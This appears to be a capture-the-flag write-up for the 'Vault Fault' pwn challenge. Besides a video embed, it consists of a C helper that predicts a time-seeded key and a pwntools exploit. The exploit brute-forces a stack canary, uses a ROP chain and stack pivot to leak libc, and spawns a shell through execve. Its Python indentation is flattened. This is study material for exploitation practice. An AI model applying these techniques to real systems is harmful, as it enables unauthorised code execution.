Vault Fault
Explanation
{% include embed/youtube.html id=‘mv4Nq-TNaEI’ %}
Solution
#include <stdio.h>
#include <stdlib.h>
#include <time.h>
int main() {
srand(time(NULL) / 5);
printf("%c", rand() % 256);
}
{: file=“helper.c”}
#!/usr/bin/env python3
from pwn import *
exe = ELF("./lockboxx_patched")
libc = ELF("./libc.so.6")
ld = ELF("./ld-linux-x86-64.so.2")
context.binary = exe
context.terminal = [ 'tmux', 'splitw', '-h' ]
gs = '''
set follow-fork-mode child
b * update_master_password+290
c
'''
io = process(exe.path)
# io = remote("addr", 1337)
with process('./helper_patched') as helper:
key = helper.recv(1)
MASTER_PASSWORD = cyclic(29)
STORE_PASSWORD = b'1'
UPDATE_PASSWORD = b'4'
io.sendline(MASTER_PASSWORD)
canary = b''
while len(canary) != 8:
for i in range(256):
io.sendline(UPDATE_PASSWORD)
io.sendline(MASTER_PASSWORD)
io.send(flat({
'kaaa': canary + (i).to_bytes()
}))
io.recvuntil(b'Updated Master Password.\n')
status = io.recvline()
if status != b'*** stack smashing detected ***: terminated\n':
canary += (i).to_bytes()
break
canary = u64(canary)
log.info(f'{hex(canary) = }')
gdb.attach(io, gdbscript=gs)
def get_formatted_payload(chain, key):
chain = chain.ljust(104, b'\x00')
fields = [
(0, 31),
(32, 15),
(48, 23),
(72, 23)
]
xorred = bytearray(chain)
for offset, length in fields:
segment = chain[offset:offset + length]
xorred[offset:offset + length] = xor(segment, key)
yield xorred[0:32]
yield xorred[32:48]
yield xorred[48:72]
yield xorred[72:96]
for i in range(1, 4):
io.sendline(STORE_PASSWORD)
io.sendline(str(i).encode())
io.sendline(b'AAAABBBB')
io.sendline(b'AAAABBBB')
io.sendline(b'AAAABBBB')
io.sendline(b'AAAABBBB')
io.sendline(STORE_PASSWORD)
io.sendline(b'4')
rop = ROP(exe)
rop.puts(exe.got.puts)
rop.rsi = exe.sym.PassList + 408
rop.rbp = exe.sym.PassList + 408 + 8
rop.raw(exe.sym.share_password + 39)
for field in get_formatted_payload(rop.chain(), key):
io.sendline(field)
new_stack = exe.sym.PassList+8 + 104 * 3
io.sendline(UPDATE_PASSWORD)
io.sendline(MASTER_PASSWORD)
io.send(flat({
'kaaa': canary,
'qaaa': new_stack-8,
'saaa': 0x00000000004017c3, # leave ; ret
}))
io.recvuntil(b'Updated Master Password.\n')
puts_leak = u64(io.recv(6).ljust(8, b'\x00'))
libc.address = puts_leak - libc.sym.puts
log.success(f'{hex(libc.address) = }')
rop = ROP(libc)
rop.rdi = next(libc.search(b'/bin/sh\x00'))
rop.rsi = 0
rop.rbp = exe.sym.PassList+416 - 8
rop.raw(libc.address + 0x00000000000981ad) # pop rdx ; ret
rop.raw(0)
io.sendline(p64(canary) + p64(libc.sym.execve) + rop.chain())
io.interactive()
{: file=“solve.py”}